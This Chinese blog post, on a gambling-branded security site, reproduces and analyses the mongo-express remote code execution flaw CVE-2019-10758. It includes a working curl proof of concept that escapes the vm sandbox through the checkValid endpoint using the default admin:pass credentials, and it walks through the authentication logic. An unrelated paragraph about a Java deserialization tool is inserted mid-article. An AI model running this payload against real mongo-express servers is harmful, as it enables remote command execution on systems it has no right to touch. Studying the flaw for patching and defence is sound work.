CVE-2019-10758:mongo-expressRCE复现分析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

CVE-2019-10758:mongo-expressRCE复现分析

申博_安全防护 申博 47次浏览 已收录 0个评论

早上室友说发了一则mongo-express的预警,正好看到陈师傅也发了twitter,动手分析一下,如有差错还望指正

漏洞复现

漏洞环境:
https://github.com/mongo-express/mongo-express#readme
https://github.com/masahiro331/CVE-2019-10758

自己从官方拉到本地+mongodb的服务端或者docker起一个未授权的mongo端都可以,poc直接就能打出来

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

CVE-2019-10758:mongo-expressRCE复现分析

漏洞触发点

文件express-mongo/node_modules/mongo-express/lib/router.js进行路由事件的方法绑定+分发
CVE-2019-10758:mongo-expressRCE复现分析

事件checkvalid对应的方法在文件express-mongo/node_modules/mongo-express/lib/routes/document.js,调用了toBSON

CVE-2019-10758:mongo-expressRCE复现分析

在toBSON函数中将传入的参数放进vm2沙箱里去eval

exports.toBSON = function (string) {
  var sandbox = exports.getSandbox();

  string = string.replace(/ISODate\(/g, 'new ISODate(');
  string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');

  vm.runInNewContext('doc = eval((' + string + '));', sandbox);

  return sandbox.doc;
};

绕一下vm2逃逸出来沙箱即可,详情可以看这篇文章Sandboxing NodeJS is hard, here is why

需不需要验证

mongo-express把原始config对象写在config.default.js文件中。

漏洞分析中的poc需要进行权限鉴定,也就是poc中使用了请求头Authorization: Basic YWRtaW46cGFzcw==的原因。删掉后请求则会返回未授权

CVE-2019-10758:mongo-expressRCE复现分析

java反序列化利用链自动挖掘工具gadgetinspector源码浅析

0x01 前言 我们在使用ysoserial的时候,经常会用它生成序列化的payload,用于攻击具有反序列化功能的endpoint,而这些payload大部分都是比较长的一条执行链,在反序列化期间,由执行程序执行攻击者可控的source,然后通过依赖中存在的执行链,最终触发至slink,从而达到攻击的效果。 这些gadget chain有长有短,大部分可以通过类似Intellij idea这类工具去根据slink,查找调用者,以及各种调用者的实现,一路反向的跟踪,对于一些比较简单比较短的链,通常通过人工查找也能快速的找到,但是对于一些比较长的链,人工查找会耗费巨大的精力和时间,并且不一定能挖掘到gadget chain。 而有段时间,我苦恼于人工查找

但是如果以cli+指定用户形式启动服务端与mongo的连接时,则不需要授权也能打(个人认为这种方式更常见一点?),下面是一点分析,如果有不对的地方还望师傅们指出

CVE-2019-10758:mongo-expressRCE复现分析

认证流程分析

程序入口逻辑是这样的,如果你程序启动的时候给一个-u&-p参数则config.useBasicAuth为false,而config.useBasicAuth在加载配置的阶段默认为true

if (commander.username && commander.password) {
...
config.useBasicAuth = false;
}

接着看文件express-mongo/node_modules/mongo-express/lib/router.js,根据config.useBasicAuth的值绑定一个basicAuth中间键,如果初始启动程序的时候没有-u/-p参数,则获取配置文件的username&password(默认为admin:pass)来进行绑定

CVE-2019-10758:mongo-expressRCE复现分析

这里假设我们启动程序的时候默认不传入-u/-p,则步入basicAuth函数。发现它定义了两个全局变量username&password,来存储配置文件的用户名密码。

module.exports = function basicAuth(callback, realm) {
  var username, password;

  // user / pass strings
  if ('string' == typeof callback) {
    username = callback;
    password = realm;
    if ('string' != typeof password) throw new Error('password argument required');
    realm = arguments[2];
    callback = function(user, pass){
      return user == username && pass == password;
    }
  }

  realm = realm || 'Authorization Required';

  return function(req, res, next) {
    var authorization = req.headers.authorization;

    if (req.user) return next();
    if (!authorization) return unauthorized(res, realm);

    var parts = authorization.split(' ');

    if (parts.length !== 2) return next(error(400));

    var scheme = parts[0]
      , credentials = new Buffer(parts[1], 'base64').toString()
      , index = credentials.indexOf(':');

    if ('Basic' != scheme || index < 0) return next(error(400));

    var user = credentials.slice(0, index)
      , pass = credentials.slice(index + 1);

    // async
    if (callback.length >= 3) {
      callback(user, pass, function(err, user){
        if (err || !user)  return unauthorized(res, realm);
        req.user = req.remoteUser = user;
        next();
      });
    // sync
    } else {
      if (callback(user, pass)) {
        req.user = req.remoteUser = user;
        next();
      } else {
        unauthorized(res, realm);
      }
    }
  }
};

在这之后的所有请求则必须都要有req.headers.authorization,来与全局变量username&password比对进行认证,否则返回Unauthorized

cli启动-未授权

在mongo-express中还有一种启动方式,即用命令行传递参数。
CVE-2019-10758:mongo-expressRCE复现分析

由于poc中启动mongodb默认是未授权的形式,所以不需要-u&-p来指定数据库的账号密码。但是实际环境中mongodb不太可能未授权来登录。

所以这个”未授权”意思就是,如果受害者指定了用户名/密码去启动express-mongo。那么攻击者直接未授权就可以打。

不过在官方文档中给出了一句话:

You can use the following environment variables to modify the container's configuration

因为config.default.js默认会从环境变量中加载mongodb的用户名&密码,这样无需参数就能启动服务,也顺便避免了未授权的问题


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明CVE-2019-10758:mongo-expressRCE复现分析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址